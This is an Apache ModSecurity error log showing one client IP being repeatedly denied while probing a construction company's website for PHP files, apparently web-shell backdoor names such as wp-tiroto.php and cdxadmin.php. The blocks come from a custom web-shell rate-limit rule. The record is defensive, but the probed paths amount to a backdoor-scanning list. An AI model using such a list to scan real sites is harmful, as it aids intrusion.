[Thu May 07 00:30:50.635467 2026] [:error] [pid 9653:tid 9709] [client 20.104.207.18:27728] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aftsuqhJ49Xc4dqq0B5YRwAAAAs"]
[Thu May 07 00:30:51.090429 2026] [:error] [pid 9653:tid 9711] [client 20.104.207.18:27659] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aftsu6hJ49Xc4dqq0B5YSgAAAA0"]
[Thu May 07 00:30:51.558498 2026] [:error] [pid 13414:tid 13426] [client 20.104.207.18:27720] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aftsu0uJQpWjVpJTu_k1EwAAAQo"]
[Thu May 07 00:30:52.019302 2026] [:error] [pid 13414:tid 13433] [client 20.104.207.18:27669] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "aftsvEuJQpWjVpJTu_k1FAAAARE"]
[Thu May 07 00:30:52.576361 2026] [:error] [pid 13414:tid 13437] [client 20.104.207.18:27661] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "aftsvEuJQpWjVpJTu_k1FgAAARU"]
[Thu May 07 00:30:53.031853 2026] [:error] [pid 9653:tid 9719] [client 20.104.207.18:27598] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "aftsvahJ49Xc4dqq0B5YVAAAABU"]
[Thu May 07 00:30:53.475817 2026] [:error] [pid 9659:tid 9735] [client 20.104.207.18:27721] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "aftsvfwJnWjd8JHpBtusUQAAAME"]
[Thu May 07 00:30:53.917548 2026] [:error] [pid 63810:tid 63822] [client 20.104.207.18:27666] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "aftsvXpnbsN9Zf6i5IFMSAAAAYg"]
[Thu May 07 00:30:54.380954 2026] [:error] [pid 9659:tid 9757] [client 20.104.207.18:27713] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "aftsvvwJnWjd8JHpBtusUgAAANc"]
[Thu May 07 00:30:54.828596 2026] [:error] [pid 9659:tid 9745] [client 20.104.207.18:27768] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "aftsvvwJnWjd8JHpBtusUwAAAMs"]
[Thu May 07 00:30:55.327660 2026] [:error] [pid 482:tid 503] [client 20.104.207.18:27756] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "aftsv8xs8HOc_nWgOW6IbQAAAdM"]
[Thu May 07 00:30:55.752059 2026] [:error] [pid 9653:tid 9709] [client 20.104.207.18:27752] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w.php"] [unique_id "aftsv6hJ49Xc4dqq0B5YXAAAAAs"]
[Thu May 07 00:30:56.198298 2026] [:error] [pid 9664:tid 9781] [client 20.104.207.18:27700] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w.php"] [unique_id "aftswAH4OZbrg1SjsBNonQAAAJM"]
[Thu May 07 00:30:56.652580 2026] [:error] [pid 13443:tid 13462] [client 20.104.207.18:27726] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w.php"] [unique_id "aftswACyfZallDmsQretCAAAAVE"]
[Thu May 07 00:30:57.120381 2026] [:error] [pid 557:tid 577] [client 20.104.207.18:27702] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w.php"] [unique_id "aftswTZjFR8Vd8ce80A7ewAAAlI"]
[Thu May 07 00:30:57.628969 2026] [:error] [pid 482:tid 510] [client 20.104.207.18:27682] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "aftswcxs8HOc_nWgOW6IcwAAAdg"]
[Thu May 07 00:30:58.060649 2026] [:error] [pid 13414:tid 13424] [client 20.104.207.18:27604] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "aftswkuJQpWjVpJTu_k1GAAAAQg"]
[Thu May 07 00:30:58.505343 2026] [:error] [pid 9653:tid 9703] [client 20.104.207.18:27742] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "aftswqhJ49Xc4dqq0B5YYQAAAAU"]
[Thu May 07 00:30:58.971124 2026] [:error] [pid 482:tid 488] [client 20.104.207.18:27655] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "aftswsxs8HOc_nWgOW6IeAAAAcQ"]
[Thu May 07 00:30:59.419846 2026] [:error] [pid 482:tid 495] [client 20.104.207.18:27696] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aftsw8xs8HOc_nWgOW6IegAAAcs"]
[Thu May 07 00:30:59.970738 2026] [:error] [pid 482:tid 503] [client 20.104.207.18:27741] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aftsw8xs8HOc_nWgOW6IfQAAAdM"]
[Thu May 07 00:31:00.467038 2026] [:error] [pid 482:tid 489] [client 20.104.207.18:27758] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aftsxMxs8HOc_nWgOW6IgAAAAcU"]
[Thu May 07 00:31:00.993966 2026] [:error] [pid 9653:tid 9700] [client 20.104.207.18:27759] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aftsxKhJ49Xc4dqq0B5YYwAAAAI"]
[Thu May 07 00:31:01.684739 2026] [:error] [pid 9653:tid 9714] [client 20.104.207.18:27607] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aftsxahJ49Xc4dqq0B5YZgAAABA"]
[Thu May 07 00:31:02.177169 2026] [:error] [pid 9664:tid 9785] [client 20.104.207.18:27668] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aftsxgH4OZbrg1SjsBNooQAAAJc"]
[Thu May 07 00:31:02.746974 2026] [:error] [pid 9653:tid 9715] [client 20.104.207.18:27770] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aftsxqhJ49Xc4dqq0B5YawAAABE"]
[Thu May 07 00:31:03.201610 2026] [:error] [pid 9789:tid 9814] [client 20.104.207.18:27725] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aftsxz_YStPJSCHPkUXDEwAAAFc"]
[Thu May 07 00:31:03.702982 2026] [:error] [pid 9789:tid 9803] [client 20.104.207.18:27671] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cdxadmin.php"] [unique_id "aftsxz_YStPJSCHPkUXDFAAAAEw"]
[Thu May 07 00:31:04.184940 2026] [:error] [pid 557:tid 579] [client 20.104.207.18:27687] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cdxadmin.php"] [unique_id "aftsyDZjFR8Vd8ce80A7fAAAAlQ"]
[Thu May 07 00:31:04.664535 2026] [:error] [pid 9653:tid 9707] [client 20.104.207.18:27748] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cdxadmin.php"] [unique_id "aftsyKhJ49Xc4dqq0B5YdQAAAAk"]
[Thu May 07 00:31:05.187746 2026] [:error] [pid 9789:tid 9809] [client 20.104.207.18:27703] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cdxadmin.php"] [unique_id "aftsyT_YStPJSCHPkUXDFwAAAFI"]
[Thu May 07 00:31:05.702192 2026] [:error] [pid 9653:tid 9702] [client 20.104.207.18:27665] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gecko.php"] [unique_id "aftsyahJ49Xc4dqq0B5YeQAAAAQ"]
[Thu May 07 00:31:06.159040 2026] [:error] [pid 63810:tid 63826] [client 20.104.207.18:27761] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gecko.php"] [unique_id "aftsynpnbsN9Zf6i5IFMTAAAAYw"]
[Thu May 07 00:31:06.640318 2026] [:error] [pid 9659:tid 9758] [client 20.104.207.18:27771] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gecko.php"] [unique_id "aftsyvwJnWjd8JHpBtusVwAAANg"]
[Thu May 07 00:31:07.073324 2026] [:error] [pid 9659:tid 9749] [client 20.104.207.18:27705] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gecko.php"] [unique_id "aftsy_wJnWjd8JHpBtusWAAAAM8"]
[Thu May 07 00:31:07.519664 2026] [:error] [pid 482:tid 492] [client 20.104.207.18:27651] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aftsy8xs8HOc_nWgOW6IhwAAAcg"]
[Thu May 07 00:31:07.975592 2026] [:error] [pid 9653:tid 9718] [client 20.104.207.18:27684] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aftsy6hJ49Xc4dqq0B5YfgAAABQ"]
[Thu May 07 00:31:08.394820 2026] [:error] [pid 9653:tid 9710] [client 20.104.207.18:27755] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aftszKhJ49Xc4dqq0B5YgwAAAAw"]
[Thu May 07 00:31:08.821109 2026] [:error] [pid 9653:tid 9707] [client 20.104.207.18:27719] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aftszKhJ49Xc4dqq0B5YhQAAAAk"]
[Thu May 07 00:31:09.254572 2026] [:error] [pid 9653:tid 9698] [client 20.104.207.18:27588] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aftszahJ49Xc4dqq0B5YhwAAAAA"]
[Thu May 07 00:31:09.674634 2026] [:error] [pid 9664:tid 9778] [client 20.104.207.18:27738] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aftszQH4OZbrg1SjsBNopgAAAJA"]
[Thu May 07 00:31:10.096447 2026] [:error] [pid 9664:tid 9781] [client 20.104.207.18:27717] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aftszgH4OZbrg1SjsBNoqAAAAJM"]
[Thu May 07 00:31:10.521521 2026] [:error] [pid 13443:tid 13447] [client 20.104.207.18:27747] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "aftszgCyfZallDmsQretEAAAAUI"]
[Thu May 07 00:31:10.943741 2026] [:error] [pid 9659:tid 9752] [client 20.104.207.18:27664] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aftszvwJnWjd8JHpBtusWgAAANI"]
[Thu May 07 00:31:11.372729 2026] [:error] [pid 9659:tid 9737] [client 20.104.207.18:27718] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aftsz_wJnWjd8JHpBtusXQAAAMM"]
[Thu May 07 00:31:11.784912 2026] [:error] [pid 9659:tid 9750] [client 20.104.207.18:27689] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aftsz_wJnWjd8JHpBtusYQAAANA"]
[Thu May 07 00:31:12.211327 2026] [:error] [pid 9664:tid 9777] [client 20.104.207.18:27767] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afts0AH4OZbrg1SjsBNorgAAAI8"]
[Thu May 07 00:31:12.633278 2026] [:error] [pid 9659:tid 9747] [client 20.104.207.18:27698] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "afts0PwJnWjd8JHpBtusYwAAAM0"]
[Thu May 07 00:31:13.048706 2026] [:error] [pid 13414:tid 13416] [client 20.104.207.18:27678] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "afts0UuJQpWjVpJTu_k1GQAAAQA"]
[Thu May 07 00:31:13.492227 2026] [:error] [pid 9653:tid 9708] [client 20.104.207.18:27673] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "afts0ahJ49Xc4dqq0B5YjgAAAAo"]
[Thu May 07 00:31:13.933724 2026] [:error] [pid 9789:tid 9808] [client 20.104.207.18:27775] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "afts0T_YStPJSCHPkUXDJgAAAFE"]
[Thu May 07 00:31:14.357490 2026] [:error] [pid 13443:tid 13457] [client 20.104.207.18:27729] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-tiroto.php"] [unique_id "afts0gCyfZallDmsQretFAAAAUw"]
[Thu May 07 00:31:14.816303 2026] [:error] [pid 9659:tid 9741] [client 20.104.207.18:27730] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-tiroto.php"] [unique_id "afts0vwJnWjd8JHpBtusZwAAAMc"]
[Thu May 07 00:31:15.242244 2026] [:error] [pid 9653:tid 9699] [client 20.104.207.18:27658] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-tiroto.php"] [unique_id "afts06hJ49Xc4dqq0B5YlAAAAAE"]
[Thu May 07 00:31:15.658649 2026] [:error] [pid 9653:tid 9700] [client 20.104.207.18:27734] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-tiroto.php"] [unique_id "afts06hJ49Xc4dqq0B5YlgAAAAI"]
[Thu May 07 00:31:16.080983 2026] [:error] [pid 9653:tid 9704] [client 20.104.207.18:27744] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a7.php"] [unique_id "afts1KhJ49Xc4dqq0B5YmQAAAAY"]
